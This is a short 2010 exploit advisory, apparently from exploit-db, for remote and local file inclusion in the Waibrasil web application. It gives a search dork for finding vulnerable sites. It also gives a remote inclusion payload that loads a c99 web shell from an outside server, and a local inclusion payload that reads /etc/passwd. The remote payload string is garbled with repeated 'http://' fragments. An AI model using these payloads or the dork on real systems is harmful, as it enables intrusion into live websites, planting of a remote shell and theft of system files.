Waibrasil - Local/Remote File Inclusion

# Title: Waibrasil Remote / Local File Inclusion
# Date:  10-05-2010
# Author: eXeSoul
# Vendor: www.waibrasil.com.br
# category: RFI / LFI
# Version: webapps
# Tested on: Apcahe/Unix
# VCE: ()
# Code : hhttp://thttp://thttp://phttp://:http:////http://http://http://http://http://http://server/c99.txt? 
# Dork :  inurl:"index.php?conteudo="
-----------------------------------------------------------------------------------
##########################################################################################################
#Greetz to all Andhra Hackers and ICW Memebers[Indian Cyber Warriors]
#
#Thanks:I-H Guru ,SaiSatish,FB1H2S,Micr0,Dark_Blue,c00lt04d,X__HMG,Th3 RDXâ„¢,X_Cobra_X,AK-47
#
#Shoutz: Notieboi,r45c4l,Yash,M.R SK,Hacker Cyclone,Neo Hacker,S1layer
#
#Catch us at www.andhrahackers.com or www.teamicw.in
##########################################################################################################

Local File Inclusion

Dork:- inurl:"index.php?conteudo="


Exploited Link:- http://[site].com/index.php?conteudo=[exploit]


exploit:-  hhttp://thttp://thttp://phttp://:http:////http://http://http://http://http://http://server/c99.txt?

live demo :- http://[site]/index.php?conteudo=hhttp://thttp://thttp://phttp://:http:////http://http://http://http://http://http://server/c99.txt?



Dork:  inurl:"index.php?conteudo="

Exploit: www.Site.com/index.php?conteudo=[LFI]

Live Demo: http://[site]/index.php?conteudo=../../../../etc/passwd


# eXeSoul  mailto: [email protected]

# JAY HIND.!! JAY SHREE RAM.!! JAY SHREE KRISHA.!! JAY MAHADEV.!!

# eXploit-db.com [10-5-2010]